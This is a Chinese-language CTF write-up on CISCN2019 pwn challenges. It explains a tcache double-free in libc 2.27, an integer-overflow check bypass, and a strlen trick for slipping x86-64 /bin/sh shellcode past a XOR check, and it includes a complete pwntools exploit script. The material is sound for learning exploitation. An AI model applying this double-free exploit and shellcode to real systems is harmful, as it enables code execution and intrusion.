1 概述
这几天做了一个libc2.27的题目,了解到tcachebin的基础内容,发现利用这个tcachebin,反而导致漏洞更好利用了
2 CTF题目
题目1:CISCN2019_pwn6
参考:pwn6_exp
题目2:CISCN2019_pwn17
3 解题思路
3.1 题目解析
1,输入内容,基本上没有任何内容提示
2、反编译查看
1、存在一个check,绕过这个check,是一个整数溢出
如果输入的input_number等于这个值,通过类型强转化为signed int(32位),就是0 了
2、在执行shellcode之前,还有第二个比较操作,需要满足
3、即使输入shellcode,也需要满足下面这个条件:异或
绕过方法:
1、shellcode 计算异或之后输入
2、在shellcode之前添加一段指令,保证 strlen 很短,shellcode不用校验
4、查找漏洞点
free之后,没有置空,可以造成double free
4 EXP解读
主要思路:
- 通过doubleFree构造“泄露”可用的地址
- 通过覆盖可以,篡改已知字符串
- 绕过最后的check,进行命令执行
1、绕过check,目前的堆栈是:
2、需要add一次,堆栈图如下:
3、delete一次之后:
堆栈内容并没有什么变化,但是释放之后,会进入tcachebins
4、再释放一次:注意第二个堆的fd的位置,发生的变化:
这时候,可以看到tachebins里面中的fd指针指向了自己。如果可以修改自己的内容,就相当于修改了下一次申请的地址空间。
6、因此,add一次(由于是分次调试的,显示的地址,可能稍微有点不同,但是后面几位是相同的):
这里为什么是0x90:因为tcachebin中地址是fd的地址,不是chunk的地址,所以为了指向chunk为0x80的地方,这里是0x90
7、然后再add一次,仍然从tcachebin中进行分配,并修改里面的内容,就相当于获取了之前分配的地址,修改固定的字符串,这里就不画了。
add(0x7f,"\x90")
add(0x7f,"The cake is a lie!\x00")
8、绕过后面异或的check
后面的异或:有个check,考察的是strlen,遇\x00截断,因此,寻找指令,可以绕过strlen的长度:
push 0
mov eax
>>> asm("mov eax,0")
'\xb8\x00\x00\x00\x00'
>>> asm("push 0")
'j\x00'
最终就是上面git的exp(抄过来的)
#coding=utf-8
from pwn import *
local = 1
argv=[""]
context.terminal=["tmux","splitw","-h"]
if local :
a=process("./pwn")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("",)
libc=ELF("")
def debug():
gdb.attach(a,'''
b *(0x555555554000+0x00000000000103A)
b *(0x555555554000+0x000000000000E9E)
''')
def menu(idx):
a.recvuntil("> ")
a.sendline(str(idx))
def add(size,content):
menu(1)
menu(size)
a.recvuntil("> ")
a.send(content)
def delete():
menu(2)
def check():
a.recvuntil("> ")
a.sendline("1")
a.recvuntil("> ")
a.sendline("-268435456")
#debug()
check()
add(0x7f,'AAA')
delete()
delete()
#debug()
add(0x7f,'\x90')
add(0x7f,'\x90')
add(0x7f,"The cake is a lie!\x00")
menu(3)
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shellcode = asm("push 0")+shellcode_x64
a.recvuntil("> ")
a.send(shellcode)
a.interactive()
5 tcachebins
- tcachebins 和fastbins的区别:
-------->tcachebins 指向的是fd的地址,fastbins 指向的是chunk的地址
-------->tcachebins 不存在严格校验,fastbins的校验条件会更苛刻一点
-------->tcachebins 的数量有限7个,大小比fastbins
参考libc2.26 之后的tcache机制 - tcache 和 fastbin在free中并没有被清除inuse标志,所以他们被认为是处于使用状态,不会被合并